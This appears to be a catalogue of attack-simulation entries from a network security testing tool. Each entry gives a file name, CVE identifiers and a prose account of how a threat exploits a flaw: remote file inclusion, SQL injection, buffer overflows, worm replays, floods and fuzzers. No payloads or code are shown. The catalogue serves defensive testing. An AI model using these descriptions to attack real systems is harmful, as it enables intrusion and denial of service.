Executive Description:	FlashChat Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. FlashChat is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	aj_auction_sqli_IPv6.xml
Executive Description:	AJ Auction All Version (subcat.php) Remote BLIND SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. AJ Auction is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1297
Threat Package:	Standard
Threat File Name:	TSL20151202-15_Unitronics_VisiLogic_OPLC_IDE_TeePreviewer_ChartLink_Memory_Corruption_IPv6.xml
Executive Description:	Unitronics VisiLogic OPLC IDE TeePreviewer ChartLink Memory Corruption(IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Unitronics VisiLogic OPLC IDE. The vulnerability is due to a flaw in the TeePreviewer object in TeeChart5.ocx, in which a user-supplied integer is interpreted as a memory address.A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a malicious Web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2015-6478
Threat File Name:	fuzz-IP_Version.xml
Executive Description:	Fuzzer for Protocol:IP and Field:Version
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	firefox_compareto_IPv6.xml
Executive Description:	Firefox compareTo Heap Overflow (IPv6 Version)
Detailed Description:	This threat exploits a pointer flaw in Mozilla Firefox 1.0.4. The attack sprays the heap with exploit code, and then calls a function which will call the exploit code with a good degree of accuracy. This attack comes typically comes from a webserver, which listens on port 80. This is a client side attack which comes from the Virtual Server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2265
OSVDB:	17968
Threat File Name:	TSL20130809-02_VLC_Media_Player_ABC_File_Parts_Field_Parsing_Heap_Integer_Overflow_IPv6.xml
Executive Description:	VLC Media Player ABC File Parts Field Parsing Heap Integer Overflow [IPv6, Version]
Detailed Description:	A remote code execution vulnerability has been reported in the libmodplug library used by VLC Media Player. The vulnerability is due to an error while parsing Parts field in ABC files which can result in an integer overflow. A remote attacker can exploit this vulnerability by enticing an unsuspecting user to download and process a malicious file with a vulnerable version of the application.
Protocol Type:	IPv6, MMS,HTTPS,HTTP,IMAP,POP3,SMB/CIFS,SMTP,RTSP
OSVDB:	96133
Threat File Name:	FSC20090211-11_Novell_QuickFinder_Server_Multiple_Cross_Site_Scripting.xml
Executive Description:	Novell QuickFinder Server Multiple Cross Site Scripting

Detailed Description:	A cross-site scripting vulnerability exists in Novell QuickFinder Server. The flaw is due to lack of validation of the user supplied input data. The flaw may be exploited by malicious users to execute arbitrary HTML and script code on target user's web browser, within the context of a trusted web site. An attack targeting this vulnerability can result in the injection and execution of script code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Unsuccessful attack attempts could either be unnoticed by the target user, or cause incorrect rendering of the affected web pages.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-0611
Threat Package:	Standard
Threat File Name:	TSL20150908-37_Microsoft_Internet_Explorer_CTableColCalc_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CTableColCalc Memory Corruption IPv6 version.
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an out-of-bounds memory access. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPv6
CVEID:	CVE-2015-2499
Threat File Name:	darwin_streaming_dos.xml
Executive Description:	Darwin Streaming Server Denial of Service
Detailed Description:	This threat sends an HTTP request with a Microsoft device name in it. This causes the server to crash. This request is made via HTTP to port 1220 on the Win32 version of the streaming server.
Protocol Type:	HTTP
CVEID:	CVE-2005-2195
OSVDB:	17850
Threat Package:	Standard
Threat File Name:	gopher_client_bof.xml
Executive Description:	UMN Gopher Client Overflow
Detailed Description:	This threat causes a buffer overflow in the Gopher client application. This can allow a user to cause remote code execution on the client machine. Gopher typically listens on port 70. This threat is a client attack that comes from the virtual server.
Protocol Type:	Gopher
CVEID:	CVE-2005-2772
OSVDB:	19082
Threat Package:	Standard
Threat File Name:	TSL20130326-01_HP_Intelligent_Management_Center_mibFileUpload_Servlet_Arbitrary_File_Upload.xml
Executive Description:	HP Intelligent Management Center mibFileUpload Servlet Arbitrary File Upload
Detailed Description:	An arbitrary file upload vulnerability exists in HP Intelligent Management Center. The vulnerability is due to the mibFileUpload servlet accepts unauthenticated file uploads and processes zip files in an insecure way. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-5201
OSVDB:	91026
Threat File Name:	TSL20140915-04_ManageEngine_EventLog_Analyzer_agentUpload_Directory_Traversal.xml
Executive Description:	ManageEngine EventLog Analyzer agentUpload Directory Traversal
Detailed Description:	A code execution vulnerability has been reported in ManageEngine EventLog Analyzer. The vulnerability is due to lack of authentication and insufficient input validation in agentUpload when processing zip files. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations. Tester should set variable \$destPort 8400 before test.
Protocol Type:	HTTP
CVEID:	CVE-2014-6037
OSVDB:	110642
Threat File Name:	xserver_post_bof.xml
Executive Description:	Xserver 0.1 Alpha Post Request Remote Buffer Overflow Vulnerability (POC)
Detailed Description:	This threat demonstrates a stack overflow in Nipun Jain xserver 0.1 alpha, causing denial of service via a POST request with a long URI. Xserver is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3957
Threat Package:	Standard
Threat File Name:	UDPport0DoS.xml
Executive Description:	UDP Port 0 DoS
Detailed Description:	This threat is executed by sending the targeted host a UDP packet to port 0 causing either the firewall or remote host to crash. This will result in a denial of service.
Protocol Type:	UDP
CVEID:	CVE-1999-0675
OSVDB:	1038
Threat Package:	Standard
Threat File Name:	syn_localhost_IPv6.xml
Executive Description:	localhost SYN (IPv6 Version)
Detailed Description:	This threat sends a TCP SYN packet with a source IP address of 127.0.0.1. Can cause older TCP/IP stack implementations to freeze when encountered. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20160809-29_Microsoft_Windows_Graphics_Component_CVE-2016-3301_Code_Execution.xml
Executive Description:	Microsoft Windows Graphics Component CVE-2016-3301 Code Execution

Detailed Description:	>A remote code execution vulnerability has been reported in the graphics component of Microsoft Windows. The vulnerability is due to a failure in how the component handles certain objects in the memory. A remote attacker could exploit the vulnerability by enticing a victim user to open a maliciously crafted document or by visiting a crafted site. Successful exploitation could allow the attacker to execute arbitrary code under context of the targeted user.
Protocol Type:	HTTP
CVEID:	CVE-2016-3301
Threat File Name:	TSL20110512-03_HP_Intelligent_Management_Center_TFTP_Server_MODE_Remote_Code_Execution_IPv6.xml
Executive Description:	HP Intelligent Management Center TFTP Server MODE Remote Code Execution IPv6 version
Detailed Description:	A vulnerability has been identified in a component of the HP Intelligent Management Center (tftpserver.exe). When processing the MODE field, user input is copied to a buffer on the stack without properly checking its length first, allowing an attacker to overwrite data on the stack. A remote attacker can exploit this vulnerability to execute arbitrary code under the security context of the SYSTEM user. In the event code execution is unsuccessful, this may lead to termination of the service.
Protocol Type:	TFTP,IPv6
CVEID:	CVE-2011-1851
Threat File Name:	FSC20100413-25_Microsoft_Windows_SMB_Client_Response_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows SMB Client Response Parsing Memory Corruption (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Microsoft Windows SMB Client. The vulnerability is due to improper validation of certain SMB fields when parsing transaction responses. Remote unauthenticated attackers could exploit this vulnerability by enticing a user to connect to a malicious SMB server and sending a specially crafted SMB response to the target machine. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the operating system kernel (Ring 0). Code injection that does not result in execution could crash the target system, and result in a Denial of Service condition. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2010-0476
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-OPTION_PrepndHTTPWithformats.xml
Executive Description:	Fuzz HTTP OPTION with Request-URI prepended with %s
Detailed Description:	Fuzzes the Request-URI field by prepending %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20121108-10_Apple_QuickTime_ActiveX_Control_Clear_Method_Use_After_Free_IPv6.xml
Executive Description:	Apple QuickTime ActiveX Control Clear Method Use After Free(IPv6 Version)
Detailed Description:	A use-after-free vulnerability exists in Apple QuickTime's ActiveX control. The vulnerability is due to an error while handling the Clear() method. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to view a maliciously crafted web page. This can lead to code execution in the context of the affected user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-3754
OSVDB:	87089
Threat File Name:	FSC20080512-12_OpenOffice_EMF_File_EMR_BITBLT_Record_Integer_Overflow.xml
Executive Description:	OpenOffice EMF File EMR_BITBLT Record Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in the OpenOffice software suite. The vulnerability is due to the way OpenOffice parses EMF images. A remote attacker could exploit this vulnerability by persuading a user to open a malicious EMF file, potentially causing arbitrary code to be injected and executed on the target system in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-5746
Threat Package:	Standard
Threat File Name:	ms_ani_cursor_bof_IPv6.xml
Executive Description:	Microsoft Windows Cursor And Icon ANI Format Handling Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a stack buffer-overflow vulnerability in NT based Microsoft Windows OSs via a html page containing malformed ANI cursor or icon files. The threat emulates web server that listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1765
OSVDB:	33629
Threat Package:	Standard
Threat File Name:	lupper24_IPv6.xml
Executive Description:	Lupper Worm 24 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20130514-13_Microsoft_.NET_Framework_XML_Digital_Signature_Spoofing_IPv6.xml
Executive Description:	Microsoft .NET Framework XML Digital Signature Spoofing[IPv6,Version]
Detailed Description:	A spoofing vulnerability has been reported in Microsoft .NET Framework. The vulnerability is due to Microsoft .NET Framework fails to properly validate the signature of a specially crafted XML file. An attacker can exploit this vulnerability to modify the content of an XML file without invalidating the signature associated with the file.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-1336
OSVDB:	93301

Threat File Name:	quickneasyftp_bof.xml
Executive Description:	Pablo Software Solutions Quick 'n Easy FTP Server Logging Buffer Overflow Vulnerability
Detailed Description:	This threat exploits a buffer overflow in the logging facility of the Quick ' Easy FTP server by providing an excessively long USER command. Pablo Software Solutions Quick 'n Easy FTP Server is an FTP service which typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2006-2027
Threat Package:	Standard
Threat File Name:	TSL20110426-02_Microsoft_Office_Excel_Label_Record_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office Excel Label Record Buffer Overflow(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to a flaw in the parsing of Label record in Excel documents, causing a buffer overflow. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0098
Threat File Name:	docebocms_cmi_b_IPv6.xml
Executive Description:	DoceboCMS Arbitrary PHP File Inclusion (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via lib.teleskill.php's GLOBAL parameter. DoceboCMS is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2576
OSVDB:	25757
Threat Package:	Standard
Threat File Name:	winamp_pls_dos_IPv6.xml
Executive Description:	Nullsoft Winamp PLS File Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in Winamp media player via a malformed playlist (.pls) file resulting in a denial of service condition. Winamp is a client application and can receive media input via a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090430-02_Symantec_Alert_Management_System_Intel_Alert_Originator_Service_Buffer_Overflow_IPv6.xml
Executive Description:	Symantec Alert Management System Intel Alert Originator Service Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Symantec Alert Originator Service component shipped with Symantec Client Security software. The vulnerability is due to a boundary error in iao.exe while copying user-provided data into memory. This can be exploited by remote unauthenticated attackers to inject and execute arbitrary code on the target host. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process, which is SYSTEM on Windows platform. In an attack case where code injection is not successful, the affected process will terminate abnormally. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2009-1430
Threat Package:	Standard
Threat File Name:	princeclan_rfi.xml
Executive Description:	PrinceClan Chess Mambo Component Remote Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.PrinceClan Chess is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090910-10_Apple_QuickTime_H.264_Movie_File_Buffer_Overflow.xml
Executive Description:	Apple QuickTime H.264 Movie File Buffer Overflow
Detailed Description:	A heap memory corruption vulnerability has been reported in Apple QuickTime. The error is due to improper bounds checking when handling malicious H.264 encoded movie files. A remote attacker can exploit this vulnerability by enticing a user to view a specially crafted H.264 movie file. Successful exploitation of this vulnerability can lead to arbitrary code execution in the context of the user. An unsuccessful code execution attempt can lead to abnormal termination of the vulnerable program. Note that TELUS Security Labs team has not been able to reproduce this vulnerability during the contractual research period.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-2799
Threat Package:	Standard
Threat File Name:	witty_IPv6.xml
Executive Description:	Witty Worm (IPv6 Version)
Detailed Description:	This threat is a copy of the Witty worm, which infected hosts using BlackICE firewalls in 2004. It causes instability and sends out copies of itself at a rapid rate. (IPv6 Version)
Protocol Type:	ICQ/IPv6
CVEID:	CVE-2004-0362
OSVDB:	4355
Threat Package:	Standard
Threat File Name:	solidstate_rfi.xml
Executive Description:	SolidState Remote Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.SolidState is a web application that typically listens on port 80.
Protocol Type:	HTTP

CVEID:	CVE-2006-5020
Threat Package:	Standard
Threat File Name:	FSC20101109-13_Microsoft_Office_RTF_Stack_Buffer_Overflow.xml
Executive Description:	Microsoft Office RTF Stack Buffer Overflow
Detailed Description:	A stack buffer overflow exists in Microsoft Office. The vulnerability is due to insufficient validation of user supplied rich text data within RTF documents. This vulnerability may be exploited by remote attackers to execute arbitrary code on a target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful, the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-3333
Threat File Name:	TSL20150707-02_Adobe_Flash_Player_ActionScript3_ByteArray_Class_Use_After_Free.xml
Executive Description:	Adobe Flash Player ActionScript3 ByteArray Class Use After Free
Detailed Description:	A use-after-free vulnerability has been reported in Adobe Flash Player. The vulnerability is due to an issue in the AS3 ByteArray class. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted file. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2015-5119
Threat File Name:	apache_indexing.xml
Executive Description:	Apache Directory Listing
Detailed Description:	This threat attempts to cause the Apache webserver to provide a directory listing when it should display a default page. Apache is a webserver that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20160630-15_WECON_LeviStudio_BaseSet_BgOnOffBitAddr_Stack_Buffer_Overflow.xml
Executive Description:	WECON LeviStudio BaseSet BgOnOffBitAddr Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability has been reported in WECON LeviStudio. The vulnerability is due to improper parsing of XML BaseSet BgOnOffBitAddr attribute of LeviStudio project files. A remote attacker could exploit this vulnerability by enticing a user to open a crafted project. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user process.
Protocol Type:	HTTP
Threat File Name:	phpbb_plusxl_rfi_IPv6.xml
Executive Description:	PHPBB PlusXL PHPBB_Root_Path Parameter Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpBB plusXL is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	29745
Threat Package:	Standard
Threat File Name:	FSC20090811-04_Microsoft_ASP.NET_Error_Handling_Denial_Of_Service.xml
Executive Description:	Microsoft ASP.NET Error Handling Denial Of Service
Detailed Description:	A denial of service vulnerability exists within Microsoft ASP.NET. The vulnerability is due to improperly handling of malicious HTTP requests. An attacker can exploit this issue to cause the affected server to become unresponsive to ASP.NET-script requests installed on Internet Information Services (IIS) 7.0. Web pages that do not use ASP.NET scripts will continue to be handled by the Web server. In a successful attack case, the affected Web server will become unresponsive to new ASP-NET-scripts requests until the associated application pool is restarted.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1536
Threat Package:	Standard
Threat File Name:	FSC20090323-08_HP_OpenView_Network_Node_Manager_OvAcceptLang_Parameter_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView Network Node Manager OvAcceptLang Parameter Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager software. The vulnerability is due to a boundary error while processing specially crafted HTTP requests sent to the server. Remote attackers could exploit this vulnerability to inject and execute arbitrary code on the target server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process. In an attack case where code injection is not successful, only the instance of the affected process will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0921
Threat Package:	Standard
Threat File Name:	FSC20081205-20_Sun_Java_Runtime_Environment_JAR_File_Processing_Stack_Buffer_Overflow.xml
Executive Description:	Sun Java Runtime Environment JAR File Processing Stack Buffer Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in Sun Java Runtime Environment software. The vulnerability is due to insufficient validation while processing Java Archive (JAR) files. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted JAR file. Successful exploitation can lead to arbitrary code execution on the target. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. This injected code would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-5354
Threat Package:	Standard
Threat File Name:	fuzz-Ethernet_pktType_IPv6.xml
Executive Description:	Fuzzer for Protocol:Ethernet and Field:pktType (IPv6 Version)
Detailed Description:	(IPv6 Version)

Protocol Type:	Ethernet/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20130729-16_PineApp_Mail-SeCure_confpremenu.php_Install_License_Command_Injection_IPv6.xml
Executive Description:	PineApp Mail-SeCure confpremenu.php Install License Command Injection [IPv6, Version]
Detailed Description:	A command execution vulnerability exists in PineApp Mail-SeCure. The vulnerability is due to an input validation error in the confpremenu.php script while installing licenses. A remote attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable server. Successful exploitation could result in commands being executed with root privileges.
Protocol Type:	IPv6, HTTP,HTTPS
OSVDB:	95784
Threat File Name:	FSC20091008-10_Adobe_Acrobat_and_Adobe_Reader_Deflate_Parameter_Integer_Overflow.xml
Executive Description:	Adobe Acrobat and Adobe Reader Deflate Parameter Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Adobe Acrobat and Adobe Reader products. The vulnerability is due to the way Adobe Acrobat and Adobe Reader process FlateDecode filter parameters. A remote attacker can exploit this vulnerability by enticing a target user to open malformed PDF files. In a sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. In an attack case where code injection is not successful, the affected Adobe application parsing the malicious PDF document can terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2009-3459
Threat Package:	Standard
Threat File Name:	ms05-009_IPv6.xml
Executive Description:	MSN Messenger PNG Exploit (IPv6 Version)
Detailed Description:	This threat causes MSN Messenger to execute code. It is a malformed PNG image. This particular threat mimics the download of it from an HTTP server, but if directed at port 1863, should cause an IDS to flag it as well. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0597
OSVDB:	13597
Threat Package:	Standard
Threat File Name:	TSL20150811-02_Gnu_TLS_DistinguishedName_Decoding_Double_Free.xml
Executive Description:	GnuTLS DistinguishedName Decoding Double Free
Detailed Description:	A double-free vulnerability has been reported in GnuTLS. The vulnerability is due to an error within gnutls_x509_dn_to_string() while processing very long Distinguished Name values in X.509 certificates. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted certificate to a vulnerable GnuTLS client or server application. Successful exploitation will cause the application execute arbitrary code; an unsuccessful exploit attempt may cause the application to terminate, resulting in a denial-of-service condition. Tester should set variable \$destPort to 443 before test.
Protocol Type:	TLS/HTTPS/SMTP/SMTPS/SIPS
CVEID:	CVE-2015-6251
Threat File Name:	php_simpleshop_rfi_IPv6.xml
Executive Description:	TurnkeyWebTools PHP Simple Shop Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PHP SimpleShop is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20040413-03_Microsoft_Negotiate_SSP_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Negotiate SSP Buffer Overflow (IPv6 Version)
Detailed Description:	A NULL pointer deference and a buffer overflow vulnerability exists in the Negotiate Security Support Provider (SSP) interface. The Negotiate SSP interface does not properly validate a value that is used during the authentication protocol selection. An attacker who successfully exploits this vulnerability can cause a Denial of Service, or remotely execute code. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0119
Threat Package:	Standard
Threat File Name:	TSL20140724-13_HP_Network_Virtualization_toServerObject_Directory_Traversal_IPv6.xml
Executive Description:	HP Network Virtualization toServerObject Directory Traversal IPv6 version.
Detailed Description:	A directory traversal vulnerability exists in HP Network Virtualization software. The vulnerability is due to insufficient input validation of user parameters passed to "toServerObject" method. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted HTTP requests to the vulnerable service. In the event of a successful attack, arbitrary files can be created on the server leading to arbitrary code execution with SYSTEM privileges. Tester should set variable \$destPort to 8182 before test.
Protocol Type:	HTTP.IPV6
CVEID:	CVE-2014-2626
OSVDB:	109474
Threat File Name:	citrix_probe_IPv6.xml
Executive Description:	Citrix Published Application Scanner (IPv6 Version)
Detailed Description:	This threat sends out a probe for published applications on Citrix Metaframe servers. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130129-01_Ruby_on_Rails_JSON_Processor_YAML_Deserialization_Code_Execution_IPv6.xml
Executive Description:	Ruby on Rails JSON Processor YAML Deserialization Code Execution(IPV6 Version)

Detailed Description:	A code execution vulnerability has been reported in Ruby on Rails. The vulnerability is due to an input validation error when JSON Processor deserializes YAML. A remote unauthenticated attacker can exploit this vulnerability to execute arbitrary code within the context of the underlying web server.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-0333
OSVDB:	89594
Threat File Name:	TSL20100512-04_HP_OpenView_NNM_getnnmdata_exe_CGI_MaxAge_Parameter_Buffer_Overflow.xml
Executive Description:	HP OpenView NNM getnnmdata.exe CGI MaxAge Parameter Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in getnnmdata.exe when processing the MaxAge parameter sent in a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the getnnmdata.exe process. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-1553
Threat File Name:	FSC20060726-16_Mozilla_Browsers_JavaScript_Navigator_Object_Memory_Corruption.xml
Executive Description:	Mozilla Browsers JavaScript Navigator Object Memory Corruption
Detailed Description:	There exist a memory corruption vulnerability in Mozilla Foundation's family of browser products. The flaw is caused by insufficient check of user supplied data when assigning values to objects. A remote attacker can exploit this vulnerability to execute arbitrary code in the security context of the target browser.
Protocol Type:	HTTP
CVEID:	CVE-2006-3677
Threat Package:	Standard
Threat File Name:	FSC20081209-10_Microsoft_Word_dppolycount_RTF_Control_Word_Handling_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Word dppolycount RTF Control Word Handling Integer Overflow (IPv6 Version)
Detailed Description:	A integer overflow vulnerability exists in the way Microsoft Word process Rich Text Format (RTF) files. The vulnerability is due to an integer overflow while parsing a large number of points for a polygon or polyline drawing object inside a malicious RTF file. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted RTF file or an RTF formatted email using the affected applications, a successful exploitation can lead to arbitrary code execution within the security context of the affected user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4025
Threat Package:	Standard
Threat File Name:	nmapACK_IPv6.xml
Executive Description:	nmap TCP ACK Ping (IPv6 Version)
Detailed Description:	This threat sends out TCP ACK Probes in the same pattern as the nmap port scanner does to test if hosts are up or not. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-1999-0454
Threat Package:	Standard
Threat File Name:	phpcommunitycalendar_sqli_d.xml
Executive Description:	phpCommunityCalendar 4.0.3 SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted HTTP query containing an SQL query which is executed by the server via elAdmin.php's AdminUserID parameter. phpCommunityCalendar is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2797
Threat Package:	Standard
Threat File Name:	realplayer_au_dos.xml
Executive Description:	RealPlayer 11 local/remote Denial Of Service Vulnerability
Detailed Description:	This threat uses a malformed AU audio file to cause an exception in RealPlayer 11, leading to a denial of service condition. This threat is delivered via a web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3410
Threat Package:	Standard
Threat File Name:	floodHTTPGet.xml
Executive Description:	HTTP Get Flood
Detailed Description:	This threat launches a denial of service attack against a webserver by repeatedly requesting the root page.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	q-shop_sqli_IPv6.xml
Executive Description:	Q-Shop v3.5(browse.asp) Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Q-Shop an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4852
OSVDB:	28917
Threat Package:	Standard
Threat File Name:	sipescuri.xml
Executive Description:	SIPPING: Escaped Headers in Request-URI

Detailed Description:	This threat sends out a SIP INVITE message with escaped headers in the Request-URI. This is invalid but an implementation may try to compensate for it. Because this is unexpected, it may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	dhcp-30-DoS.xml
Executive Description:	ISC DHCP Buffer Overflow
Detailed Description:	This threat attacks a buffer overflow present in ISC DHCP Server version 3.0.1rc8 and earlier. Affects multiple Linux distributions.
Protocol Type:	DHCP
CVEID:	CVE-2004-0460
OSVDB:	7237
Threat Package:	Standard
Threat File Name:	msie_vml_bof.xml
Executive Description:	MS Internet Explorer VML Remote Buffer Overflow Exploit (MS07-004)
Detailed Description:	This threat causes Internet Explorer to unexpectedly crash or run malicious code. Internet Explorer is a web browser. This attack would typically come from a malicious web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0024
OSVDB:	31250
Threat Package:	Standard
Threat File Name:	FSC20071123-09_Aurigma_Image_Uploader_ActiveX_Control_Denial_of_Service.xml
Executive Description:	Aurigma Image Uploader ActiveX Control Denial of Service
Detailed Description:	There exists a buffer exhaustion vulnerability in Aurigma Image Uploader ActiveX control. The flaw is due to a boundary error when processing overly long parameter passed to the control's methods. A remote attacker can exploit this vulnerability by persuading the target user to open a malicious web page. Successful exploitation may create a denial of service condition to the affected process.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	breed.xml
Executive Description:	Breed Empty UDP Denial of Service
